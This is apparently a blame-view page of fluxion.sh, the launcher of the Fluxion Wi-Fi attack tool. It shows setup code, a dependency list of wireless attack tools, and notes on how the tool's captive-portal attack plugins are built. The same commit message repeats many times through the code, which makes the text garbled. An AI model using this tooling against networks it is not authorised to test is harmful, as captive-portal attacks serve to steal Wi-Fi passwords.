* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
clear
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
exit 0
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
}
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-08-11 17:38:52 -06:00
|
|
|
# Delete log only in Normal Mode !
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_conditional_clear() {
|
2017-12-31 09:02:12 -07:00
|
|
|
# Clear iff we're not in debug mode
|
|
|
|
if [ ! $FLUXIONDebug ]; then clear; fi
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
}
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_conditional_bail() {
|
2017-12-31 09:02:12 -07:00
|
|
|
echo ${1:-"Something went wrong, whoops! (report this)"}
|
|
|
|
sleep 5
|
|
|
|
if [ ! $FLUXIONDebug ]; then
|
|
|
|
fluxion_handle_exit
|
|
|
|
return 1
|
|
|
|
fi
|
|
|
|
echo "Press any key to continue execution..."
|
|
|
|
read bullshit
|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
# ERROR Report only in Developer Mode
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_error_report() {
|
2017-12-31 09:02:12 -07:00
|
|
|
echo "Error on line $1"
|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
2017-08-10 21:02:12 -06:00
|
|
|
if [ "$FLUXIONDebug" ]; then
|
2017-12-31 09:02:12 -07:00
|
|
|
trap 'fluxion_error_report $LINENUM' ERR
|
2016-05-15 09:34:47 -06:00
|
|
|
fi
|
|
|
|
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_handle_abort_attack() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ $(type -t stop_attack) ]; then
|
|
|
|
stop_attack &>$FLUXIONOutputDevice
|
|
|
|
unprep_attack &>$FLUXIONOutputDevice
|
|
|
|
else
|
|
|
|
echo "Attack undefined, can't stop anything..." >$FLUXIONOutputDevice
|
|
|
|
fi
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
}
|
2016-05-15 09:34:47 -06:00
|
|
|
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
# In case an abort signal is received,
|
|
|
|
# abort any attacks currently running.
|
2017-09-02 12:28:30 -06:00
|
|
|
trap fluxion_handle_abort_attack SIGABRT
|
2017-02-02 15:23:02 -07:00
|
|
|
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_handle_exit() {
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_handle_abort_attack
|
|
|
|
fluxion_exitmode
|
|
|
|
exit 1
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
}
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-09-02 12:28:30 -06:00
|
|
|
# In case of unexpected termination, run fluxion_exitmode
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
# to execute cleanup and reset commands.
|
2017-09-02 12:28:30 -06:00
|
|
|
trap fluxion_handle_exit SIGINT SIGHUP
|
2016-05-15 09:34:47 -06:00
|
|
|
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
function fluxion_header() {
|
2017-12-31 09:02:12 -07:00
|
|
|
format_apply_autosize "[%*s]\n"
|
|
|
|
local verticalBorder=$FormatApplyAutosize
|
2017-08-12 18:18:53 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
format_apply_autosize "[%*s${CSRed}FLUXION $FLUXIONVersion${CSWht}.${CSBlu}$FLUXIONRevision$CSRed <$CIRed F${CIYel}luxion$CIRed I${CIYel}s$CIRed T${CIYel}he$CIRed F${CIYel}uture$CClr$CSYel >%*s$CSBlu]\n"
|
|
|
|
local headerTextFormat="$FormatApplyAutosize"
|
2017-08-12 18:18:53 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_conditional_clear
|
2017-08-12 20:23:22 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$(printf "$CSRed$verticalBorder" "" | sed -r "s/ /~/g")"
|
|
|
|
printf "$CSRed$verticalBorder" ""
|
|
|
|
printf "$headerTextFormat" "" ""
|
|
|
|
printf "$CSBlu$verticalBorder" ""
|
|
|
|
echo -e "$(printf "$CSBlu$verticalBorder" "" | sed -r "s/ /~/g")$CClr"
|
|
|
|
echo
|
|
|
|
echo
|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
# Create working directory
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
if [ ! -d "$FLUXIONWorkspacePath" ]; then
|
2017-12-31 09:02:12 -07:00
|
|
|
mkdir -p "$FLUXIONWorkspacePath" &>$FLUXIONOutputDevice
|
2016-05-15 09:34:47 -06:00
|
|
|
fi
|
|
|
|
|
2017-08-12 18:18:53 -06:00
|
|
|
####################################### < Start > ######################################
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
if [ ! $FLUXIONDebug ]; then
|
2017-12-31 09:02:12 -07:00
|
|
|
FLUXIONBanner=()
|
|
|
|
|
|
|
|
format_center_literals " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐"
|
|
|
|
FLUXIONBanner+=("$FormatCenterLiterals")
|
|
|
|
format_center_literals " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║"
|
|
|
|
FLUXIONBanner+=("$FormatCenterLiterals")
|
|
|
|
format_center_literals " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜"
|
|
|
|
FLUXIONBanner+=("$FormatCenterLiterals")
|
|
|
|
format_center_literals " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║"
|
|
|
|
FLUXIONBanner+=("$FormatCenterLiterals")
|
|
|
|
format_center_literals " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘"
|
|
|
|
FLUXIONBanner+=("$FormatCenterLiterals")
|
|
|
|
format_center_literals "¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯"
|
|
|
|
FLUXIONBanner+=("$FormatCenterLiterals")
|
|
|
|
|
|
|
|
clear
|
|
|
|
|
|
|
|
if [ "$FLUXIONAuto" ]; then echo -e "$CBlu"
|
|
|
|
else echo -e "$CRed"
|
|
|
|
fi
|
|
|
|
|
|
|
|
for line in "${FLUXIONBanner[@]}"; do
|
|
|
|
echo "$line"
|
|
|
|
sleep 0.05
|
|
|
|
done
|
|
|
|
#echo "${FLUXIONBanner[@]}"
|
|
|
|
echo
|
|
|
|
|
|
|
|
sleep 0.1
|
|
|
|
format_center_literals "${CGrn}Site: ${CRed}https://github.com/FluxionNetwork/fluxion$CClr"
|
|
|
|
echo -e "$FormatCenterLiterals"
|
|
|
|
|
|
|
|
sleep 0.1
|
|
|
|
format_center_literals "${CSRed}FLUXION $FLUXIONVersion$CClr (rev. $CSBlu$FLUXIONRevision$CClr)$CYel by$CWht ghost"
|
|
|
|
echo -e "$FormatCenterLiterals"
|
|
|
|
|
|
|
|
sleep 0.1
|
|
|
|
if installer_utils_check_update "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion.sh" "FLUXIONVersion=" "FLUXIONRevision=" $FLUXIONVersion $FLUXIONRevision; then installer_utils_run_update "https://github.com/FluxionNetwork/fluxion/archive/master.zip" "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "$(dirname "$FLUXIONPath")"
|
|
|
|
fi
|
|
|
|
|
|
|
|
echo
|
|
|
|
|
|
|
|
FLUXIONCLIToolsRequired=("aircrack-ng" "python2:python2.7|python2" "bc" "awk:awk|gawk|mawk" "curl" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc")
|
|
|
|
FLUXIONCLIToolsMissing=()
|
|
|
|
|
|
|
|
while ! installer_utils_check_dependencies FLUXIONCLIToolsRequired[@]; do installer_utils_run_dependencies InstallerUtilsCheckDependencies[@]
|
|
|
|
done
|
2017-08-20 23:11:32 -06:00
|
|
|
fi
|
2017-08-12 18:18:53 -06:00
|
|
|
|
2017-08-11 17:38:52 -06:00
|
|
|
#################################### < Resolution > ####################################
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_set_resolution() { # Windows + Resolution
|
2017-12-31 09:02:12 -07:00
|
|
|
# Calc options
|
|
|
|
RATIO=4
|
2017-12-14 13:04:55 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Get demensions
|
|
|
|
SCREEN_SIZE=$(xdpyinfo | grep dimension | awk '{print $4}' | tr -d "(")
|
|
|
|
SCREEN_SIZE_X=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $1}'))
|
|
|
|
SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}'))
|
2017-12-14 13:04:55 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc)
|
|
|
|
NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$RATIO}")/1 | bc)
|
|
|
|
NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$RATIO}")/1 | bc)
|
2017-12-14 13:04:55 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
NEW_SCREEN_SIZE_BIG_X=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_X/$RATIO}")/1 | bc)
|
|
|
|
NEW_SCREEN_SIZE_BIG_Y=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_Y/$RATIO}")/1 | bc)
|
2017-12-14 13:04:55 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
SCREEN_SIZE_MID_X=$(echo $(($SCREEN_SIZE_X + ($SCREEN_SIZE_X - 2 * $NEW_SCREEN_SIZE_X) / 2)))
|
|
|
|
SCREEN_SIZE_MID_Y=$(echo $(($SCREEN_SIZE_Y + ($SCREEN_SIZE_Y - 2 * $NEW_SCREEN_SIZE_Y) / 2)))
|
2017-12-14 13:04:55 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Upper
|
|
|
|
TOPLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0+0"
|
|
|
|
TOPRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+0"
|
|
|
|
TOP="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X+0"
|
2017-12-14 13:04:55 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Lower
|
|
|
|
BOTTOMLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-0"
|
|
|
|
BOTTOMRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0-0"
|
|
|
|
BOTTOM="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X-0"
|
2017-12-14 13:04:55 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Y mid
|
|
|
|
LEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-$SCREEN_SIZE_MID_Y"
|
|
|
|
RIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+$SCREEN_SIZE_MID_Y"
|
2017-12-14 13:04:55 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Big
|
|
|
|
TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0"
|
|
|
|
TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0"
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
